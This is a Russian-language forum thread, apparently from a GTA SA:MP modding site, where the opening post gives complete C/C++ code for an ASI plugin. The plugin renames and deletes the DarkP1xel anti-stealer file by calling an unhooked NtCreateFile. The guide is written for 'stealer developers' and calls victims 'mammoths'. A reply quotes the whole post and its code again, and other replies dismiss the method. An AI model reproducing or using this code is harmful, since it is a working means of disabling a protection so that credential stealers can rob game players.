Гайд Удаляем антистиллер by DarkP1xel 5.2.5

.KARELLI

Потрачен
Автор темы
1
11
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Решил зайти на форум, посмотреть что тут нового, ничего нового не нашел, решил сделать какой-нибудь гайд интересный для разработчиков стиллеров
В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного
Для данного способа нам понадобится:
1. NtCreateFile
2. SetFileInformationByHandle

С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся
1633589355075.png


Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает
1633590029100.png


Информация на руках, осталось написать asi плагин

Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь
C:
NTSTATUS(__stdcall *NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER , ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
*(FARPROC*)&NtCreateFile = GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateFile");
wchar_t szPath[MAX_PATH * 2] = L"\\??\\";
GetCurrentDirectoryW((MAX_PATH * 2), &szPath[4]);
lstrcatW(szPath, L"\\!0AntiStealerByDarkP1xel32.ASI");

Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл

C++:
UNICODE_STRING uFilePath;
uFilePath.Buffer = szPath;
uFilePath.Length = lstrlenW(szPath) * sizeof(wchar_t);
uFilePath.MaximumLength = uFilePath.Length + 2;

IO_STATUS_BLOCK IoStatusBlock;   
OBJECT_ATTRIBUTES FileObjectAttributes;
InitializeObjectAttributes(&FileObjectAttributes, &uFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL);

HANDLE hFile = NULL;
NTSTATUS NtStatus = NtCreateFile(&hFile, DELETE, &FileObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, 0);

Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:

C++:
if (NT_SUCCESS(NtStatus)) {
    FILE_RENAME_INFO fRenameInfo;
    memset(&fRenameInfo, 0, sizeof(fRenameInfo));
    fRenameInfo.FileNameLength = 4;
    memcpy(fRenameInfo.FileName, L":x", 4);
    if (SetFileInformationByHandle(hFile, FileRenameInfo, &fRenameInfo, sizeof(fRenameInfo) + 4)) {
        CloseHandle(hFile);
        NtStatus = NtCreateFile(&hFile, DELETE, &FileObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, 0);
        if (NT_SUCCESS(NtStatus)) {
            FILE_DISPOSITION_INFO fDispositionInfo;
            memset(&fDispositionInfo, 0, sizeof(fDispositionInfo));
            fDispositionInfo.DeleteFileW = 1;
            SetFileInformationByHandle(hFile, FileDispositionInfo, &fDispositionInfo, sizeof(fDispositionInfo));
        };
    };
    CloseHandle(hFile);
};

Компилируем плагин.

Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру
1633592695609.png


Далее видим что от антистиллера осталось лишь лог, вот и все
1633592740776.png


Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш

Всем добра
 
D

deleted-user-204957

Гость
хуйня гайд, если подумать чуть получше, то его легко снести сразу без крашей и подобной чепухи, т.к антистиллер не обновляется такие темы это ебанный бесполезный треш(мусор) т.к обходов миллиард + 1
 

Hatiko

Известный
Проверенный
1,469
610
Этот антистиллер и так всегда просят удалить, т.к. он блокирует всё подряд и мешает работе многим модификациям. Редко уже у кого встретишь его.
 
  • Нравится
Реакции: Versaces и AnWu

{$FANTOMCODER .cs}

Известный
212
52
Решил зайти на форум, посмотреть что тут нового, ничего нового не нашел, решил сделать какой-нибудь гайд интересный для разработчиков стиллеров
В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного
Для данного способа нам понадобится:
1. NtCreateFile
2. SetFileInformationByHandle

С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся
Посмотреть вложение 117074

Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает
Посмотреть вложение 117076

Информация на руках, осталось написать asi плагин

Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь
C:
NTSTATUS(__stdcall *NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER , ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
*(FARPROC*)&NtCreateFile = GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateFile");
wchar_t szPath[MAX_PATH * 2] = L"\\??\\";
GetCurrentDirectoryW((MAX_PATH * 2), &szPath[4]);
lstrcatW(szPath, L"\\!0AntiStealerByDarkP1xel32.ASI");

Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл

C++:
UNICODE_STRING uFilePath;
uFilePath.Buffer = szPath;
uFilePath.Length = lstrlenW(szPath) * sizeof(wchar_t);
uFilePath.MaximumLength = uFilePath.Length + 2;

IO_STATUS_BLOCK IoStatusBlock;  
OBJECT_ATTRIBUTES FileObjectAttributes;
InitializeObjectAttributes(&FileObjectAttributes, &uFilePath, OBJ_CASE_INSENSITIVE, NULL, NULL);

HANDLE hFile = NULL;
NTSTATUS NtStatus = NtCreateFile(&hFile, DELETE, &FileObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, 0);

Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:

C++:
if (NT_SUCCESS(NtStatus)) {
    FILE_RENAME_INFO fRenameInfo;
    memset(&fRenameInfo, 0, sizeof(fRenameInfo));
    fRenameInfo.FileNameLength = 4;
    memcpy(fRenameInfo.FileName, L":x", 4);
    if (SetFileInformationByHandle(hFile, FileRenameInfo, &fRenameInfo, sizeof(fRenameInfo) + 4)) {
        CloseHandle(hFile);
        NtStatus = NtCreateFile(&hFile, DELETE, &FileObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, NULL, NULL, 0);
        if (NT_SUCCESS(NtStatus)) {
            FILE_DISPOSITION_INFO fDispositionInfo;
            memset(&fDispositionInfo, 0, sizeof(fDispositionInfo));
            fDispositionInfo.DeleteFileW = 1;
            SetFileInformationByHandle(hFile, FileDispositionInfo, &fDispositionInfo, sizeof(fDispositionInfo));
        };
    };
    CloseHandle(hFile);
};

Компилируем плагин.

Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру
Посмотреть вложение 117081

Далее видим что от антистиллера осталось лишь лог, вот и все
Посмотреть вложение 117082

Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш

Всем добра
А зачем?
Сейчас даже free steeler'ы на Клео умеют его обходить.